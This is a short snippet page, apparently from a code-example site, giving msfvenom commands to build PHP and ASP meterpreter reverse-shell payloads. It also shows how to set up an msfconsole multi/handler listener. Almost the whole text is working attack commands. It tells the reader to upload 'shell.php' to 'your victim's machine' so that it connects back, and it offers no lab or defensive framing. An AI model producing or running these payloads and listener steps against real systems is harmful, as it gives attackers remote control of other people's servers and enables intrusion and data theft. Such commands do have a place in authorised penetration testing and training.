msfvenom reverse shell code example
Example 1: msfvenom php reverse shell
##This will create the payload file "shell.php" with your ip and port.
msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php
##You can always "nano" the file to change your ipaddr and port incase you messed up the first step.
#Run 'msfconsole' to start the listener then run the following command.
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
#set your ipaddr
set LHOST <$LOCAL_IP>
#set your listening port
set LPORT <$LOCAL_PORT>
#"show options" to check ur steps then run the command "exploit"
exploit #this will start the listener
#Upload "shell.php" to your victim's machine.
#The victim's machine will need to run the file to connect back to your machine.
Example 2: msfvenom cheat sheet aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp